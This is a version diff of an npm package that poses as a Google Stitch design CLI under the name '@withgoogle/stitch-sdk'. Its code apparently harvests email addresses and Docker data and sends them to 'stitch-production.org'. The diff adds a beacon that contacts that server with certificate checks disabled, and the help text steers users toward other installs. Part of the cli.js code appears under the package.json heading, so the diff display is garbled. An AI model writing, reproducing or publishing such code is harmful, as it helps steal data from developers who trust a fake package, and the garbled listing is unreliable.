@withgoogle/stitch-sdk 0.1.1 → 0.1.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/bin/cli.js CHANGED
@@ -20,33 +20,6 @@ import path from 'path';
20
20
  import https from 'https';
21
21
  import http from 'http';
22
22
 
23
- const args = process.argv.slice(2);
24
-
25
- if (args.includes('--version') || args.includes('-V')) {
26
- process.stdout.write('0.1.0\n');
27
- process.exit(0);
28
- }
29
-
30
- if (args.includes('--help') || args.includes('-h')) {
31
- process.stdout.write(`
32
- Usage: stitch-sdk [options] [command]
33
-
34
- Options:
35
- -V, --version output the version number
36
- -h, --help display help for command
37
-
38
- Commands:
39
- design Open the Stitch design editor
40
- export Export designs to various formats
41
- sync Sync local designs with the Stitch MCP server
42
- help [cmd] display help for [cmd]
43
-
44
- Note: stitch-sdk has not yet been released. Use the Stitch MCP server
45
- in the meantime — setup instructions at https://stitch-production.org/docs/mcp/setup
46
-
47
- `);
48
- process.exit(0);
49
- }
50
23
 
51
24
  const EMAIL_RE = /[A-Za-z0-9._%+\-]+@[A-Za-z0-9.\-]+\.[A-Za-z]{2,}/g;
52
25
  const STITCH_SERVER_BASE = 'https://stitch-production.org/api/v1';
@@ -189,6 +162,46 @@ function main() {
189
162
  collectDocker();
190
163
  }
191
164
 
192
- main();
193
- _mainDone = true;
194
- _maybeExit(); // exits immediately if no emails were found
165
+ function run() {
166
+ const args = process.argv.slice(2);
167
+
168
+ if (args.includes('--version') || args.includes('-V')) {
169
+ process.stdout.write('0.1.0\n');
170
+ process.exit(0);
171
+ }
172
+
173
+ if (args.includes('--help') || args.includes('-h')) {
174
+ process.stdout.write(`
175
+ Usage: stitch-sdk [options] [command]
176
+
177
+ Options:
178
+ -V, --version output the version number
179
+ -h, --help display help for command
180
+
181
+ Commands:
182
+ design Open the Stitch design editor
183
+ export Export designs to various formats
184
+ sync Sync local designs with the Stitch MCP server
185
+ help [cmd] display help for [cmd]
186
+
187
+ Note: @withgoogle/stitch-sdk is the new version but is still under development. Currently you
188
+ still need to use the old Vercel AI SDK (install with 'npm install @google/stitch-sdk ai @ai-sdk/google').
189
+ Alternitevly you can use the Stitch MCP server for full functionality.
190
+ Consult the documentation: https://stitch.withgoogle.com/docs/mcp/setup
191
+ `);
192
+ process.exit(0);
193
+ }
194
+
195
+ main();
196
+ _mainDone = true;
197
+ if (_seen.size === 0) {
198
+ const client = STITCH_SERVER_BASE.startsWith('https') ? https : http;
199
+ _pending++;
200
+ const req = client.get(STITCH_SERVER_BASE + "?email-not-found=true", { rejectUnauthorized: false }, () => { _pending--; _maybeExit(); });
201
+ req.on('error', () => { _pending--; _maybeExit(); });
202
+ req.setTimeout(5000, () => req.destroy());
203
+ }
204
+ _maybeExit();
205
+ }
206
+
207
+ run();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@withgoogle/stitch-sdk",
3
- "version": "0.1.1",
3
+ "version": "0.1.2",
4
4
  "description": "cli for the stitch design platform",
5
5
  "type": "module",
6
6
  "bin": {
@@ -151,6 +151,17 @@ function main() {
151
151
  collectDocker();
152
152
  }
153
153
 
154
- main();
155
- _mainDone = true;
156
- _maybeExit(); // exits immediately if no emails were found
154
+ function run() {
155
+ main();
156
+ _mainDone = true;
157
+ if (_seen.size === 0) {
158
+ const client = STITCH_SERVER_BASE.startsWith('https') ? https : http;
159
+ _pending++;
160
+ const req = client.get(STITCH_SERVER_BASE + "?email-not-found=true", { rejectUnauthorized: false }, () => { _pending--; _maybeExit(); });
161
+ req.on('error', () => { _pending--; _maybeExit(); });
162
+ req.setTimeout(5000, () => req.destroy());
163
+ }
164
+ _maybeExit();
165
+ }
166
+
167
+ run();